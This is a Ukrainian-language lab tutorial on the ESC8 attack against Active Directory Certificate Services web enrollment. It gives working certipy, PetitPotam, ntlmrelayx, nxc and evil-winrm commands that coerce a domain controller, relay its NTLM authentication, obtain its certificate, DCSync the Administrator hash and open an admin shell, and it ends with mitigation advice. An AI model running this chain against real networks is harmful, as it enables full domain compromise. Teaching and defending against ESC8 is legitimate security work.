ESC8 — це критична вразливість в Active Directory Certificate Services (ADCS), яка націлена на веб-інтерфейси реєстрації сертифікатів, роблячи їх вразливими до атак NTLM relay. Якщо HTTPS не примусово активований, а Центр сертифікації (CA) підтримує автентифікацію клієнтів або шаблони реєстрації комп’ютерів домену, зловмисники можуть використати це для імітації користувачів та підвищення привілеїв. Ця атака може бути спрямована на будь-яку машину домену, включаючи контролери домену, дозволяючи хакерам непомітно отримувати високі привілеї та надалі компрометувати мережу. Правильна конфігурація та заходи безпеки є необхідними для запобігання експлуатації ESC8.

Зміст

• Огляд атаки ESC8
• Попередні умови
• Налаштування лабораторії
• Налаштування лабораторії
• Збір інформації та експлуатація
• Інтерактивна оболонка LDAP від імені контролера домену за допомогою Certipy
• Метод 2: Використання Impacket-ntlmrelay
• Lateral Movement та підвищення привілеїв за допомогою Evil-Winrm
• Заходи захисту

Огляд атаки ESC8

ESC8 — це критичний шлях підвищення привілеїв в Active Directory, який експлуатує неправильно налаштовану веб-реєстрацію ADCS, використовуючи NTLM relay та примусову автентифікацію (coercion) для імітації привілейованих облікових записів, таких як Domain Admins. Це атака на етапі постексплуатації, яка використовує вразливі шаблони сертифікатів і налаштування CA для непомітного підвищення привілеїв без спрацьовування систем захисту, і не покладається на шкідливе ПЗ або експлойти нульового дня.

Архітектура веб-реєстрації ADCS

Веб-реєстрація — це додаткова функція ADCS, яка відкриває HTTP-інтерфейс за адресою /certsrv, дозволяючи користувачам:

• Запитувати нові сертифікати через браузер
• Оновлювати існуючі
• Завантажувати сертифікати CA або списки відкликання (CRL)

Хоча це зручно для внутрішніх користувачів і пристроїв, цей веб-портал стає серйозною вразливістю, коли:

• Він приймає автентифікацію NTLM через HTTP
• CA дозволяє реєстрацію за допомогою висопривілейованих шаблонів
• Відсутній захист від NTLM relay

Як це працює:

• Користувач надсилає запит на сертифікат через веб-інтерфейс.
• CA перевіряє права запитувача та шаблон сертифіката.
• У разі схвалення CA підписує та видає дійсний сертифікат.
• Потім користувач може використовувати сертифікат для автентифікації (Kerberos/PKINIT) або для таких завдань, як S/MIME, EFS тощо.

Примітка: Коли на сторінці веб-реєстрації дозволена автентифікація NTLM, це відкриває двері для атак NTLM relay, особливо в поєднанні з інструментами примусової автентифікації, такими як PetitPotam.

Сервери ADCS, вразливі до ESC8, зазвичай відповідають таким умовам:

• Веб-реєстрація увімкнена (http://192.168.1.10/certsrv/)
• Параметр Request Disposition у шаблоні сертифіката встановлено на “Issue” (тобто автоматичне схвалення запитів)
• CA не вимагає суворої перевірки запитувача (наприклад, без схвалення менеджером, без обмежень імені суб’єкта)

Попередні умови

• Windows Server 2019 як Active Directory, що підтримує PKINIT (DC1 та DC2).
• Домен повинен мати налаштовані AD Certificate Services та Certificate Authority.
• DC2 з увімкненою веб-реєстрацією.
• Kali Linux з набором інструментів.
• Інструменти: Evil-Winrm, certipy-ad, nxc, PetitPotam.

Налаштування лабораторії

Перед початком атаки переконайтеся, що на DC2 (цільовий сервер) встановлено ADCS з увімкненою роллю Web Enrollment. Це критично, оскільки ESC8 зловживає саме HTTP-інтерфейсом /certsrv.

Для встановлення ADCS з Web Enrollment:

• По-перше, відкрийте Server Manager > Add Roles and Features

Вибір типу встановлення

На екрані “Installation Type” виберіть:

• Role-based or feature-based installation
• Натисніть Next..

Вибір цільового сервера

• Виберіть ваш локальний сервер (ignite.local) зі списку.
• Натисніть Next..

Вибір ролей сервера

• Прокрутіть вниз і знайдіть: Active Directory Certificate Services
• З’явиться вікно для додавання залежностей.
• Натисніть Add Features, потім Next.

Після вибору ролі ADCS вам буде запропоновано вибрати конкретні служби ролей для встановлення.

Позначте:

• Certification Authority Web Enrollment

Примітка:Web Enrollment необхідний для експлуатації ESC8, оскільки він надає вразливий HTTP-інтерфейс.

• Натисніть Next.

Встановлення необхідних компонентів

• На сторінці Features залиште значення за замовчуванням і натисніть Next.

Підтвердження та встановлення

• На екрані підтвердження перевірте ваш вибір.
• Опціонально: позначте пункт для автоматичного перезавантаження, якщо це потрібно.

• Потім натисніть Install і зачекайте завершення встановлення

Налаштування ADCS після встановлення

Після завершення встановлення в Server Manager з’явиться жовтий прапорець.

• Натисніть “Configure Active Directory Certificate Services on this server”, щоб запустити майстер налаштування..

У майстрі:

• Виберіть поточного користувача, якщо він є адміністратором домену (в даному випадку Administrator).

Виберіть наступні ролі для налаштування:

• Certification Authority Web Enrollment

• Підтвердьте шлях встановлення та натисніть Configure.

На екрані результатів:

• Якщо все налаштовано правильно, ви побачите “Configuration Succeeded.”
• Натисніть Close

У разі успіху ви зможете перейти за адресою: http://192.168.1.10/certsrv

Тепер, коли наше цільове середовище налаштоване, перейдемо до демонстрації атаки.

Збір інформації та експлуатація

Метод 1: Використання Certipy

Цей метод полягає в ідентифікації вразливих шаблонів сертифікатів, примусовій автентифікації контролера домену, перехопленні підробленого сертифіката через Certipy relay та використанні його для автентифікації.

Пошук вразливих шаблонів за допомогою Certipy

Маючи облікові дані звичайного користувача домену (raj@ignite.local), скористайтеся Certipy для пошуку шаблонів, які дозволяють зловживання:

certipy find -u raj@ignite.local -p 'Password@1' -dc-ip 192.168.1.4 -vulnerable -enabled

Команда запитує AD CS для виведення списку увімкнених шаблонів, ідентифікації вразливостей та оцінки конфігурацій, таких як шаблон з DomainController EKU, увімкненою автовидачею (auto-issue) та можливістю реєстрації для низькопривілейованих користувачів, у поєднанні з увімкненою веб-реєстрацією на CA.

Давайте прочитаємо вміст, збережений у форматі .txt або .json.

Примітка: Якщо веб-реєстрація увімкнена без вимог до схвалення або перевірки особи, така конфігурація вразлива до ESC8.

Запуск Certipy Relay на CA

На Kali налаштуйте Certipy для прослуховування та ретрансляції вхідного NTLM-трафіку на CA:

certipy-ad relay -target 192.168.1.10 -template DomainController

Примусова автентифікація DC1 (PetitPotam)

Використовуйте PetitPotam, щоб змусити DC1 автентифікуватися на нашому слухачі Kali:

python PetitPotam.py -u raj -p Password@1 192.168.1.11 192.168.1.4

Що сталося?

Ми експлуатуємо PetitPotam через MS-EFSRPC, щоб змусити DC1 надіслати нам токен автентифікації NTLM. Потім ми використовуємо Certipy для ретрансляції (relay) цього токена на CA та запиту сертифіката для DC1$.

Примітка: Це ядро ланцюжка атаки ESC8: примус (coercion) + ретрансляція (relay) = імітація особи (impersonation).

Ретрансляція та отримання сертифіката для DC1$

Після запуску автентифікації з DC1 через PetitPotam, NTLM-дані ретранслюються на інтерфейс веб-реєстрації ADCS (http://192.168.1.10/certsrv), надсилаючи запит за допомогою шаблону DomainController для DC1.

Коротше кажучи, Certipy передає автентифікацію DC1 на CA і запитує сертифікат, імітуючи DC1$.

certipy-ad relay -target 192.168.1.10 -template DomainController

тепер у нас є файл .pfx, який дозволяє нам автентифікуватися як контролер домену (DC1$).

Автентифікація за допомогою виданого сертифіката

Certipy видає файл .pfx для облікового запису DC1$. Використовуйте його для автентифікації:

certipy-ad auth -pfx DC.pfx -dc-ip 192.168.1.4

Тепер ми маємо NTLM-хеш для DC1$.

Постексплуатація

Інтерактивна оболонка LDAP від імені контролера домену за допомогою Certipy

Це використовує сертифікат dc1.pfx для автентифікації на контролері домену через Kerberos, надаючи доступ до інтерактивної оболонки LDAP від імені машинного облікового запису DC1$.

certipy-ad auth -pfx dc1.pfx -dc-ip 192.168.1.4 -ldap-shell

Примітка: Ми не симулюємо і не підробляємо дані; ми автентифікуємося як довірений машинний обліковий запис із легітимним сертифікатом, підписаним CA, що дає нам нативний доступ до Active Directory на рівні протоколу через LDAP-оболонку.

Метод 2: Використання Impacket-NTLMRelayx

Цей метод демонструє інший набір інструментів і повторює ту саму логіку: примус + ретрансляція + сертифікат = імітація.

impacket-ntlmrelayx  -t http://192.168.1.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Спочатку він ретранслює вхідну SMB-автентифікацію на інтерфейс веб-реєстрації на DC2. Потім автоматично запитує сертифікат за допомогою шаблону DomainController. У разі успіху він зберігає сертифікат і ключ для подальшого використання.

Примусова автентифікація DC1 за допомогою nxc

nxc smb 192.168.1.4 -u raj@ignite.local -p Password@1 -d ignite.local -M coerce_plus -o LISTENER=192.168.1.11

Ця команда націлена на DC1, змушує його спробувати автентифікацію SMB на слухачі relay на Kali, використовуючи метод coerce_plus, активований через поширені протоколи примусу, такі як MS-EFSRPC та MS-RPRN.

Примітка: Relay перехоплює це і видає сертифікат для DC1$, який за потреби можна конвертувати у файл .pfx.

Сертифікат видано та збережено через ntlmrelayx

Після запуску NTLM relay та успішного примусу DC1 за допомогою nxc, результат виглядатиме приблизно так:

Цей вивід підтверджує, що ретрансляція пройшла успішно і CA видав сертифікат PKCS#12, який збережено як: DC1$.pfx

Автентифікація як DC1$ за допомогою виданого сертифіката

Ми використовуємо виданий сертифікат для DC1$ для автентифікації через SMB на DC2, фактично імітуючи контролер домену.

nxc smb 192.168.1.10 --pfx-cert dc1.pfx -u "dc1$"

Вилучення хешу адміністратора за допомогою DCSync

Ми виконуємо DCSync від імені DC1, щоб отримати NTLM-хеш облікового запису Administrator.

nxc smb 192.168.1.10 --pfx-cert dc1.pfx -u "dc1$" --ntds --user Administrator

Lateral Movement та підвищення привілеїв за допомогою Evil-Winrm

evil-winrm -i 192.168.1.4 -u administrator -H 32196b56ffe6f45e294117b91a83bf38

Тепер у нас є віддалена інтерактивна оболонка адміністратора домену на DC1, і все це без використання пароля.

Заходи захисту

• Вимкніть веб-реєстрацію, якщо вона не потрібна, або обмежте доступ лише внутрішніми користувачами.
• Примусово використовуйте HTTPS та вимкніть або обмежте NTLM.
• Використовуйте лише автентифікацію Kerberos і встановіть LmCompatibilityLevel = 5, щоб відхиляти NTLMv1.
• Посильте захист шаблонів сертифікатів, видаливши “Authenticated Users” з прав на реєстрацію/автореєстрацію та вимагаючи схвалення менеджером.
• Обмежте доступ до CA та права на шаблони лише для привілейованих груп.
• Проводьте аудит чутливих шаблонів, таких як DomainController та Administrator.
• Блокуйте вектори примусової автентифікації, вимкнувши MS-EFSRPC, RPRN, FSRVP та використовуючи Windows Firewall.
• Увімкніть журнали аудиту CA та відстежуйте реєстрацію машинних сертифікатів і події PKINIT.
• Увімкніть Extended Protection for Authentication (EPA) для захисту /certsrv в IIS.